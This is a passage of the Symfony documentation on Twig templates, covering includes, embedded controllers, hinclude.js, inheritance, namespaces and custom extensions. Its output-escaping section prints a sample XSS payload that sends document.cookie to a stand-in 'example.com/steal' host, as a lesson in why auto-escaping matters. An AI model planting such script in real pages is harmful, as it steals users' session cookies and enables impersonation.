{# optionally, use named arguments to display them as labels next to
|
|
the dumped contents #}
|
|
{{ dump(blog_posts: articles, user: app.user) }}
|
|
|
|
<a href="/article/{{ article.slug }}">
|
|
{{ article.title }}
|
|
</a>
|
|
{% endfor %}
|
|
|
|
To avoid leaking sensitive information, the ``dump()`` function/tag is only
|
|
available in the ``dev`` and ``test`` :ref:`configuration environments <configuration-environments>`.
|
|
If you try to use it in the ``prod`` environment, you will see a PHP error.
|
|
|
|
.. _templates-reuse-contents:
|
|
|
|
Reusing Template Contents
|
|
-------------------------
|
|
|
|
.. _templates-include:
|
|
|
|
Including Templates
|
|
~~~~~~~~~~~~~~~~~~~
|
|
|
|
If certain Twig code is repeated in several templates, you can extract it into a
|
|
single "template fragment" and include it in other templates. Imagine that the
|
|
following code to display the user information is repeated in several places:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/blog/index.html.twig #}
|
|
|
|
{# ... #}
|
|
<div class="user-profile">
|
|
<img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}">
|
|
<p>{{ user.fullName }} - {{ user.email }}</p>
|
|
</div>
|
|
|
|
First, create a new Twig template called ``blog/_user_profile.html.twig`` (the
|
|
``_`` prefix is optional, but it's a convention used to better differentiate
|
|
between full templates and template fragments).
|
|
|
|
Then, remove that content from the original ``blog/index.html.twig`` template
|
|
and add the following to include the template fragment:
|
|
|
|
.. code-block:: twig
|
|
|
|
{# templates/blog/index.html.twig #}
|
|
|
|
{# ... #}
|
|
{{ include('blog/_user_profile.html.twig') }}
|
|
|
|
The ``include()`` Twig function takes as argument the path of the template to
|
|
include. The included template has access to all the variables of the template
|
|
that includes it (use the `with_context`_ option to control this).
|
|
|
|
You can also pass variables to the included template. This is useful for example
|
|
to rename variables. Imagine that your template stores the user information in a
|
|
variable called ``blog_post.author`` instead of the ``user`` variable that the
|
|
template fragment expects. Use the following to *rename* the variable:
|
|
|
|
.. code-block:: twig
|
|
|
|
{# templates/blog/index.html.twig #}
|
|
|
|
{# ... #}
|
|
{{ include('blog/_user_profile.html.twig', {user: blog_post.author}) }}
|
|
|
|
.. _templates-embed-controllers:
|
|
|
|
Embedding Controllers
|
|
~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
:ref:`Including template fragments <templates-include>` is useful to reuse the
|
|
same content on several pages. However, this technique is not the best solution
|
|
in some cases.
|
|
|
|
Imagine that the template fragment displays the three most recent blog articles.
|
|
To do that, it needs to make a database query to get those articles. When using
|
|
the ``include()`` function, you'd need to do the same database query in every
|
|
page that includes the fragment. This is not very convenient.
|
|
|
|
A better alternative is to **embed the result of executing some controller**
|
|
with the ``render()`` and ``controller()`` Twig functions.
|
|
|
|
First, create the controller that renders a certain number of recent articles::
|
|
|
|
// src/Controller/BlogController.php
|
|
namespace App\Controller;
|
|
|
|
use Symfony\Component\HttpFoundation\Response;
|
|
// ...
|
|
|
|
class BlogController extends AbstractController
|
|
{
|
|
public function recentArticles(int $max = 3): Response
|
|
{
|
|
// get the recent articles somehow (e.g. making a database query)
|
|
$articles = ['...', '...', '...'];
|
|
|
|
return $this->render('blog/_recent_articles.html.twig', [
|
|
'articles' => $articles
|
|
]);
|
|
}
|
|
}
|
|
|
|
Then, create the ``blog/_recent_articles.html.twig`` template fragment (the
|
|
``_`` prefix in the template name is optional, but it's a convention used to
|
|
better differentiate between full templates and template fragments):
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/blog/_recent_articles.html.twig #}
|
|
{% for article in articles %}
|
|
<a href="{{ path('blog_show', {slug: article.slug}) }}">
|
|
{{ article.title }}
|
|
</a>
|
|
{% endfor %}
|
|
|
|
Now you can call to this controller from any template to embed its result:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/base.html.twig #}
|
|
|
|
{# ... #}
|
|
<div id="sidebar">
|
|
{# if the controller is associated with a route, use the path() or url() functions #}
|
|
{{ render(path('latest_articles', {max: 3})) }}
|
|
{{ render(url('latest_articles', {max: 3})) }}
|
|
|
|
{# if you don't want to expose the controller with a public URL,
|
|
use the controller() function to define the controller to execute #}
|
|
{{ render(controller(
|
|
'App\\Controller\\BlogController::recentArticles', {max: 3}
|
|
)) }}
|
|
</div>
|
|
|
|
.. _fragments-path-config:
|
|
|
|
When using the ``controller()`` function, controllers are not accessed using a
|
|
regular Symfony route but through a special URL used exclusively to serve those
|
|
template fragments. Configure that special URL in the ``fragments`` option:
|
|
|
|
.. configuration-block::
|
|
|
|
.. code-block:: yaml
|
|
|
|
# config/packages/framework.yaml
|
|
framework:
|
|
# ...
|
|
fragments: { path: /_fragment }
|
|
|
|
.. code-block:: xml
|
|
|
|
<!-- config/packages/framework.xml -->
|
|
<?xml version="1.0" encoding="UTF-8" ?>
|
|
<container xmlns="http://symfony.com/schema/dic/services"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:framework="http://symfony.com/schema/dic/symfony"
|
|
xsi:schemaLocation="http://symfony.com/schema/dic/services
|
|
https://symfony.com/schema/dic/services/services-1.0.xsd
|
|
http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
|
|
|
|
<!-- ... -->
|
|
<framework:config>
|
|
<framework:fragment path="/_fragment"/>
|
|
</framework:config>
|
|
</container>
|
|
|
|
.. code-block:: php
|
|
|
|
// config/packages/framework.php
|
|
use Symfony\Config\FrameworkConfig;
|
|
|
|
return static function (FrameworkConfig $framework): void {
|
|
// ...
|
|
$framework->fragments()->path('/_fragment');
|
|
};
|
|
|
|
.. warning::
|
|
|
|
Embedding controllers requires making requests to those controllers and
|
|
rendering some templates as result. This can have a significant impact on
|
|
the application performance if you embed lots of controllers. If possible,
|
|
:doc:`cache the template fragment </http_cache/esi>`.
|
|
|
|
.. _templates-hinclude:
|
|
|
|
How to Embed Asynchronous Content with hinclude.js
|
|
--------------------------------------------------
|
|
|
|
Templates can also embed contents asynchronously with the ``hinclude.js``
|
|
JavaScript library.
|
|
|
|
First, include the `hinclude.js`_ library in your page
|
|
:ref:`linking to it <templates-link-to-assets>` from the template or adding it
|
|
to your application JavaScript :doc:`using AssetMapper </frontend>`.
|
|
|
|
As the embedded content comes from another page (or controller for that matter),
|
|
Symfony uses a version of the standard ``render()`` function to configure
|
|
``hinclude`` tags in templates:
|
|
|
|
.. code-block:: twig
|
|
|
|
{{ render_hinclude(controller('...')) }}
|
|
{{ render_hinclude(url('...')) }}
|
|
|
|
.. note::
|
|
|
|
When using the ``controller()`` function, you must also configure the
|
|
:ref:`fragments path option <fragments-path-config>`.
|
|
|
|
When JavaScript is disabled or it takes a long time to load you can display a
|
|
default content rendering some template:
|
|
|
|
.. configuration-block::
|
|
|
|
.. code-block:: yaml
|
|
|
|
# config/packages/framework.yaml
|
|
framework:
|
|
# ...
|
|
fragments:
|
|
hinclude_default_template: hinclude.html.twig
|
|
|
|
.. code-block:: xml
|
|
|
|
<!-- config/packages/framework.xml -->
|
|
<?xml version="1.0" encoding="UTF-8" ?>
|
|
<container xmlns="http://symfony.com/schema/dic/services"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:framework="http://symfony.com/schema/dic/symfony"
|
|
xsi:schemaLocation="http://symfony.com/schema/dic/services
|
|
https://symfony.com/schema/dic/services/services-1.0.xsd
|
|
http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
|
|
|
|
<!-- ... -->
|
|
<framework:config>
|
|
<framework:fragments hinclude-default-template="hinclude.html.twig"/>
|
|
</framework:config>
|
|
</container>
|
|
|
|
.. code-block:: php
|
|
|
|
// config/packages/framework.php
|
|
use Symfony\Config\FrameworkConfig;
|
|
|
|
return static function (FrameworkConfig $framework): void {
|
|
// ...
|
|
$framework->fragments()
|
|
->hincludeDefaultTemplate('hinclude.html.twig')
|
|
;
|
|
};
|
|
|
|
You can define default templates per ``render()`` function (which will override
|
|
any global default template that is defined):
|
|
|
|
.. code-block:: twig
|
|
|
|
{{ render_hinclude(controller('...'), {
|
|
default: 'default/content.html.twig'
|
|
}) }}
|
|
|
|
Or you can also specify a string to display as the default content:
|
|
|
|
.. code-block:: twig
|
|
|
|
{{ render_hinclude(controller('...'), {default: 'Loading...'}) }}
|
|
|
|
Use the ``attributes`` option to define the value of hinclude.js options:
|
|
|
|
.. code-block:: twig
|
|
|
|
{# by default, cross-site requests don't use credentials such as cookies, authorization
|
|
headers or TLS client certificates; set this option to 'true' to use them #}
|
|
{{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
|
|
|
|
{# by default, the JavaScript code included in the loaded contents is not run;
|
|
set this option to 'true' to run that JavaScript code #}
|
|
{{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
|
|
|
|
.. _template_inheritance-layouts:
|
|
|
|
Template Inheritance and Layouts
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
As your application grows you'll find more and more repeated elements between
|
|
pages, such as headers, footers, sidebars, etc. :ref:`Including templates <templates-include>`
|
|
and :ref:`embedding controllers <templates-embed-controllers>` can help, but
|
|
when pages share a common structure, it's better to use **inheritance**.
|
|
|
|
The concept of `Twig template inheritance`_ is similar to PHP class inheritance.
|
|
You define a parent template that other templates can extend from and child
|
|
templates can override parts of the parent template.
|
|
|
|
Symfony recommends the following three-level template inheritance for medium and
|
|
complex applications:
|
|
|
|
* ``templates/base.html.twig``, defines the common elements of all application
|
|
templates, such as ``<head>``, ``<header>``, ``<footer>``, etc.;
|
|
* ``templates/layout.html.twig``, extends from ``base.html.twig`` and defines
|
|
the content structure used in all or most of the pages, such as a two-column
|
|
content + sidebar layout. Some sections of the application can define their
|
|
own layouts (e.g. ``templates/blog/layout.html.twig``);
|
|
* ``templates/*.html.twig``, the application pages which extend from the main
|
|
``layout.html.twig`` template or any other section layout.
|
|
|
|
In practice, the ``base.html.twig`` template would look like this:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/base.html.twig #}
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<title>{% block title %}My Application{% endblock %}</title>
|
|
{% block stylesheets %}
|
|
<link rel="stylesheet" type="text/css" href="/css/base.css">
|
|
{% endblock %}
|
|
</head>
|
|
<body>
|
|
{% block body %}
|
|
<div id="sidebar">
|
|
{% block sidebar %}
|
|
<ul>
|
|
<li><a href="{{ path('homepage') }}">Home</a></li>
|
|
<li><a href="{{ path('blog_index') }}">Blog</a></li>
|
|
</ul>
|
|
{% endblock %}
|
|
</div>
|
|
|
|
<div id="content">
|
|
{% block content %}{% endblock %}
|
|
</div>
|
|
{% endblock %}
|
|
</body>
|
|
</html>
|
|
|
|
The `Twig block tag`_ defines the page sections that can be overridden in the
|
|
child templates. They can be empty, like the ``content`` block or define a default
|
|
content, like the ``title`` block, which is displayed when child templates don't
|
|
override them.
|
|
|
|
The ``blog/layout.html.twig`` template could be like this:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/blog/layout.html.twig #}
|
|
{% extends 'base.html.twig' %}
|
|
|
|
{% block content %}
|
|
<h1>Blog</h1>
|
|
|
|
{% block page_contents %}{% endblock %}
|
|
{% endblock %}
|
|
|
|
The template extends from ``base.html.twig`` and only defines the contents of
|
|
the ``content`` block. The rest of the parent template blocks will display their
|
|
default contents. However, they can be overridden by the third-level inheritance
|
|
template, such as ``blog/index.html.twig``, which displays the blog index:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/blog/index.html.twig #}
|
|
{% extends 'blog/layout.html.twig' %}
|
|
|
|
{% block title %}Blog Index{% endblock %}
|
|
|
|
{% block page_contents %}
|
|
{% for article in articles %}
|
|
<h2>{{ article.title }}</h2>
|
|
<p>{{ article.body }}</p>
|
|
{% endfor %}
|
|
{% endblock %}
|
|
|
|
This template extends from the second-level template (``blog/layout.html.twig``)
|
|
but overrides blocks of different parent templates: ``page_contents`` from
|
|
``blog/layout.html.twig`` and ``title`` from ``base.html.twig``.
|
|
|
|
When you render the ``blog/index.html.twig`` template, Symfony uses three
|
|
different templates to create the final contents. This inheritance mechanism
|
|
boosts your productivity because each template includes only its unique contents
|
|
and leaves the repeated contents and HTML structure to some parent templates.
|
|
|
|
.. warning::
|
|
|
|
When using ``extends``, a child template is forbidden to define template
|
|
parts outside of a block. The following code throws a ``SyntaxError``:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
{# templates/blog/index.html.twig #}
|
|
{% extends 'base.html.twig' %}
|
|
|
|
{# the line below is not captured by a "block" tag #}
|
|
<div class="alert">Some Alert</div>
|
|
|
|
{# the following is valid #}
|
|
{% block content %}My cool blog posts{% endblock %}
|
|
|
|
Read the `Twig template inheritance`_ docs to learn more about how to reuse
|
|
parent block contents when overriding templates and other advanced features.
|
|
|
|
.. _output-escaping:
|
|
.. _xss-attacks:
|
|
|
|
Output Escaping and XSS Attacks
|
|
-------------------------------
|
|
|
|
Imagine that your template includes the ``Hello {{ name }}`` code to display the
|
|
user name and a malicious user sets the following as their name:
|
|
|
|
.. code-block:: html
|
|
|
|
My Name
|
|
<script type="text/javascript">
|
|
document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
|
|
</script>
|
|
|
|
You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
|
|
so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_
|
|
or XSS attack.
|
|
|
|
To prevent this attack, use *"output escaping"* to transform the characters
|
|
which have special meaning (e.g. replace ``<`` by the ``<`` HTML entity).
|
|
Symfony applications are safe by default because they perform automatic output
|
|
escaping:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
<p>Hello {{ name }}</p>
|
|
{# if 'name' is '<script>alert('hello!')</script>', Twig will output this:
|
|
'<p>Hello <script>alert('hello!')</script></p>' #}
|
|
|
|
If you are rendering a variable that is trusted and contains HTML contents,
|
|
use the `Twig raw filter`_ to disable the output escaping for that variable:
|
|
|
|
.. code-block:: html+twig
|
|
|
|
<h1>{{ product.title|raw }}</h1>
|
|
{# if 'product.title' is 'Lorem <strong>Ipsum</strong>', Twig will output
|
|
exactly that instead of 'Lorem <strong>Ipsum</strong>' #}
|
|
|
|
Read the `Twig output escaping docs`_ to learn more about how to disable output
|
|
escaping for a block or even an entire template.
|
|
|
|
.. _templates-namespaces:
|
|
|
|
Template Namespaces
|
|
-------------------
|
|
|
|
Although most applications store their templates in the default ``templates/``
|
|
directory, you may need to store some or all of them in different directories.
|
|
Use the ``twig.paths`` option to configure those extra directories. Each path is
|
|
defined as a ``key: value`` pair where the ``key`` is the template directory and
|
|
the ``value`` is the Twig namespace, which is explained later:
|
|
|
|
.. configuration-block::
|
|
|
|
.. code-block:: yaml
|
|
|
|
# config/packages/twig.yaml
|
|
twig:
|
|
# ...
|
|
paths:
|
|
# directories are relative to the project root dir (but you
|
|
# can also use absolute directories)
|
|
'email/default/templates': ~
|
|
'backend/templates': ~
|
|
|
|
.. code-block:: xml
|
|
|
|
<!-- config/packages/twig.xml -->
|
|
<container xmlns="http://symfony.com/schema/dic/services"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:twig="http://symfony.com/schema/dic/twig"
|
|
xsi:schemaLocation="http://symfony.com/schema/dic/services
|
|
https://symfony.com/schema/dic/services/services-1.0.xsd
|
|
http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
|
|
|
|
<twig:config>
|
|
<!-- ... -->
|
|
<!-- directories are relative to the project root dir (but you
|
|
can also use absolute directories -->
|
|
<twig:path>email/default/templates</twig:path>
|
|
<twig:path>backend/templates</twig:path>
|
|
</twig:config>
|
|
</container>
|
|
|
|
.. code-block:: php
|
|
|
|
// config/packages/twig.php
|
|
use Symfony\Config\TwigConfig;
|
|
|
|
return static function (TwigConfig $twig): void {
|
|
// ...
|
|
|
|
// directories are relative to the project root dir (but you
|
|
// can also use absolute directories)
|
|
$twig->path('email/default/templates', null);
|
|
$twig->path('backend/templates', null);
|
|
};
|
|
|
|
When rendering a template, Symfony looks for it first in the ``twig.paths``
|
|
directories that don't define a namespace and then falls back to the default
|
|
template directory (usually, ``templates/``).
|
|
|
|
Using the above configuration, if your application renders for example the
|
|
``layout.html.twig`` template, Symfony will first look for
|
|
``email/default/templates/layout.html.twig`` and ``backend/templates/layout.html.twig``.
|
|
If any of those templates exists, Symfony will use it instead of using
|
|
``templates/layout.html.twig``, which is probably the template you wanted to use.
|
|
|
|
Twig solves this problem with **namespaces**, which group several templates
|
|
under a logic name unrelated to their actual location. Update the previous
|
|
configuration to define a namespace for each template directory:
|
|
|
|
.. configuration-block::
|
|
|
|
.. code-block:: yaml
|
|
|
|
# config/packages/twig.yaml
|
|
twig:
|
|
# ...
|
|
paths:
|
|
'email/default/templates': 'email'
|
|
'backend/templates': 'admin'
|
|
|
|
.. code-block:: xml
|
|
|
|
<!-- config/packages/twig.xml -->
|
|
<container xmlns="http://symfony.com/schema/dic/services"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xmlns:twig="http://symfony.com/schema/dic/twig"
|
|
xsi:schemaLocation="http://symfony.com/schema/dic/services
|
|
https://symfony.com/schema/dic/services/services-1.0.xsd
|
|
http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd">
|
|
|
|
<twig:config>
|
|
<!-- ... -->
|
|
<twig:path namespace="email">email/default/templates</twig:path>
|
|
<twig:path namespace="admin">backend/templates</twig:path>
|
|
</twig:config>
|
|
</container>
|
|
|
|
.. code-block:: php
|
|
|
|
// config/packages/twig.php
|
|
use Symfony\Config\TwigConfig;
|
|
|
|
return static function (TwigConfig $twig): void {
|
|
// ...
|
|
|
|
$twig->path('email/default/templates', 'email');
|
|
$twig->path('backend/templates', 'admin');
|
|
};
|
|
|
|
Now, if you render the ``layout.html.twig`` template, Symfony will render the
|
|
``templates/layout.html.twig`` file. Use the special syntax ``@`` + namespace to
|
|
refer to the other namespaced templates (e.g. ``@email/layout.html.twig`` and
|
|
``@admin/layout.html.twig``).
|
|
|
|
.. note::
|
|
|
|
A single Twig namespace can be associated with more than one template
|
|
directory. In that case, the order in which paths are added is important
|
|
because Twig will start looking for templates from the first defined path.
|
|
|
|
Bundle Templates
|
|
~~~~~~~~~~~~~~~~
|
|
|
|
If you :ref:`install packages/bundles <symfony-flex>` in your application, they
|
|
may include their own Twig templates (in the ``templates/`` directory of each
|
|
bundle). To avoid messing with your own templates, Symfony adds bundle
|
|
templates under an automatic namespace created after the bundle name.
|
|
|
|
For example, the templates of a bundle called ``AcmeBlogBundle`` are available
|
|
under the ``AcmeBlog`` namespace. If this bundle includes the template
|
|
``<your-project>/vendor/acme/blog-bundle/templates/user/profile.html.twig``,
|
|
you can refer to it as ``@AcmeBlog/user/profile.html.twig``.
|
|
|
|
.. tip::
|
|
|
|
You can also :ref:`override bundle templates <override-templates>` in case
|
|
you want to change some parts of the original bundle templates.
|
|
|
|
.. _templates-twig-extension:
|
|
|
|
Writing a Twig Extension
|
|
------------------------
|
|
|
|
`Twig Extensions`_ allow the creation of custom functions, filters, and more to use
|
|
in your Twig templates. Before writing your own Twig extension, check if
|
|
the filter/function that you need is not already implemented in:
|
|
|
|
* The `default Twig filters and functions`_;
|
|
* The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;
|
|
* The `official Twig extensions`_ related to strings, HTML, Markdown, internationalization, etc.
|
|
|
|
Create the Extension Class
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Suppose you want to create a new filter called ``price`` that formats a number
|
|
as currency:
|
|
|
|
.. code-block:: twig
|
|
|
|
{{ product.price|price }}
|
|
|
|
{# pass in the 3 optional arguments #}
|
|
{{ product.price|price(2, ',', '.') }}
|
|
|
|
.. _templates-twig-filter-attribute:
|
|
|
|
Create a regular PHP class with a method that contains the filter logic. Then,
|
|
add the ``#[AsTwigFilter]`` attribute to define the name and options of
|
|
the Twig filter::
|
|
|
|
// src/Twig/AppExtension.php
|
|
namespace App\Twig;
|
|
|
|
use Twig\Attribute\AsTwigFilter;
|
|
|
|
class AppExtension
|
|
{
|
|
#[AsTwigFilter('price')]
|
|
public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
|
|
{
|
|
$price = number_format($number, $decimals, $decPoint, $thousandsSep);
|
|
$price = '$'.$price;
|
|
|
|
return $price;
|
|
}
|
|
}
|
|
|
|
.. _templates-twig-function-attribute:
|
|
|
|
If you want to create a function instead of a filter, use the
|
|
``#[AsTwigFunction]`` attribute::
|
|
|
|
// src/Twig/AppExtension.php
|
|
namespace App\Twig;
|
|
|
|
use Twig\Attribute\AsTwigFunction;
|
|
|
|
class AppExtension
|
|
{
|
|
#[AsTwigFunction('area')]
|
|
public function calculateArea(int $width, int $length): int
|
|
{
|
|
return $width * $length;
|
|
}
|
|
}
|
|
|
|
.. tip::
|
|
|
|
Along with custom filters and functions, you can also register
|
|
`global variables`_.
|
|
|
|
.. versionadded:: 7.3
|
|
|
|
Support for the ``#[AsTwigFilter]``, ``#[AsTwigFunction]`` and ``#[AsTwigTest]``
|
|
attributes was introduced in Symfony 7.3. Previously, you had to extend the
|
|
``AbstractExtension`` class, and override the ``getFilters()`` and ``getFunctions()``
|
|
methods.
|
|
|
|
If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
|
|
the :ref:`service autoconfiguration <services-autoconfigure>` feature will enable
|
|
this class as a Twig extension. Otherwise, you need to define a service manually
|
|
and :doc:`tag it </service_container/tags>` with the ``twig.attribute_extension`` tag.
|
|
|
|
Register an Extension as a Service
|
|
..................................
|
|
|
|
Next, register your class as a service and tag it with ``twig.extension``. If you're
|
|
using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
|
|
you're done! Symfony will automatically know about your new service and add the tag.
|
|
|
|
You can now start using your filter in any Twig template. Optionally, execute
|
|
this command to confirm that your new filter was successfully registered:
|
|
|
|
.. code-block:: terminal
|
|
|
|
# display all information about Twig
|
|
$ php bin/console debug:twig
|
|
|
|
# display only the information about a specific filter
|
|
$ php bin/console debug:twig --filter=price
|
|
|
|
.. _lazy-loaded-twig-extensions:
|
|
|
|
Creating Lazy-Loaded Twig Extensions
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
When :ref:`using attributes to extend Twig <templates-twig-filter-attribute>`,
|
|
the **Twig extensions are already lazy-loaded** and you don't have to do anything
|
|
else. However, if your Twig extensions follow the **legacy approach** of extending
|
|
the ``AbstractExtension`` class, Twig initializes all the extensions before
|
|
rendering any template, even if they are not used.
|
|
|
|
If extensions don't define dependencies (i.e. if you don't inject services in
|
|
them) performance is not affected. However, if extensions define lots of complex
|
|
dependencies (e.g. those making database connections), the performance loss can
|
|
be significant.
|
|
|
|
That's why Twig allows decoupling the extension definition from its
|
|
implementation. Following the same example as before, the first change would be
|
|
to remove the ``formatPrice()`` method from the extension and update the PHP
|
|
callable defined in ``getFilters()``::
|
|
|
|
// src/Twig/AppExtension.php
|
|
namespace App\Twig;
|
|
|
|
use App\Twig\AppRuntime;
|
|
use Twig\Extension\AbstractExtension;
|
|
use Twig\TwigFilter;
|
|
|
|
class AppExtension extends AbstractExtension
|
|
{
|
|
public function getFilters(): array
|
|
{
|
|
return [
|
|
// the logic of this filter is now implemented in a different class
|
|
new TwigFilter('price', [AppRuntime::class, 'formatPrice']),
|
|
];
|
|
}
|
|
}
|
|
|
|
Then, create the new ``AppRuntime`` class (it's not required but these classes
|
|
are suffixed with ``Runtime`` by convention) and include the logic of the
|
|
previous ``formatPrice()`` method::
|
|
|
|
// src/Twig/AppRuntime.php
|
|
namespace App\Twig;
|
|
|
|
use Twig\Extension\RuntimeExtensionInterface;
|
|
|
|
class AppRuntime implements RuntimeExtensionInterface
|
|
{
|
|
public function __construct()
|
|
{
|
|
// this simple example doesn't define any dependency, but in your own
|
|
// extensions, you'll need to inject services using this constructor
|
|
}
|
|
|
|
public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
|
|
{
|
|
$price = number_format($number, $decimals, $decPoint, $thousandsSep);
|
|
$price = '$'.$price;
|
|
|
|
return $price;
|
|
}
|
|
}
|
|
|
|
If you're using the default ``services.yaml`` configuration, this will already
|
|
work! Otherwise, :ref:`create a service <service-container-creating-service>`
|
|
for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
|
|
|
|
.. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
|
|
.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
|
|
.. _`filters`: https://twig.symfony.com/doc/3.x/filters/index.html
|
|
.. _`functions`: https://twig.symfony.com/doc/3.x/functions/index.html
|
|
.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
|
|
.. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
|
|
.. _`hinclude.js`: https://mnot.github.io/hinclude/
|
|
.. _`Turbo Streams`: https://symfony.com/bundles/ux-turbo/current/index.html
|
|
.. _`official Twig extensions`: https://github.com/twigphp?q=extra
|
|
.. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
|
|
.. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
|
|
.. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
|
|
.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Environment.php
|
|
.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
|
|
.. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
|
|
.. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html
|
|
.. _`Twig template inheritance`: https://twig.symfony.com/doc/3.x/tags/extends.html
|
|
.. _`Twig template loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
|
|
.. _`Twig`: https://twig.symfony.com
|
|
.. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html
|
|
.. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
|
|
.. _`with_context`: https://twig.symfony.com/doc/3.x/functions/include.html
|